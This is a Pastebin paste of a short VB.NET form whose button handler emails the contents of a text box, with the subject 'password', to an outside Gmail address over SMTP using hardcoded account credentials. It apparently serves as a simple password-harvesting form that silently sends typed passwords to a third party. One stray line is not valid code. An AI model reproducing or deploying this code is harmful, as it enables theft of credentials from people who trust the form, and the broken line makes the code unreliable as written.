Guest User

Untitled

a guest
Dec 4th, 2018
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.78 KB | None | 0 0
  1. Imports System.Web
  2. Imports System.IO
  3. Imports System.Net.Mail
  4. Public Class Form1
  5. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  6. Dim mail As New MailMessage()
  7. Dim SmtpServer As New SmtpClient
  8. SmtpServer.Credentials = New Net.NetworkCredential("timsucksanus@gmail.com", "password")
  9. SmtpServer.Port = 587
  10. SmtpServer.Host = "smtp.gmail.com"
  11. SmtpServer.EnableSsl = True
  12. SmtpServer.EnableSsl = True
  13. mail.To.Add("dayrideritual@gmail.com")
  14. mail.From = New MailAddress("nothere-mail@gmail.com")
  15. mail.Subject = "password"
  16. mail.Body = TextBox1.Text
  17. SmtpServer.Send(mail)
  18. {System.Net.Mail.MailMessage}
  19.  
  20.  
  21. End Sub
  22. End Class
Add Comment
Please, Sign In to add comment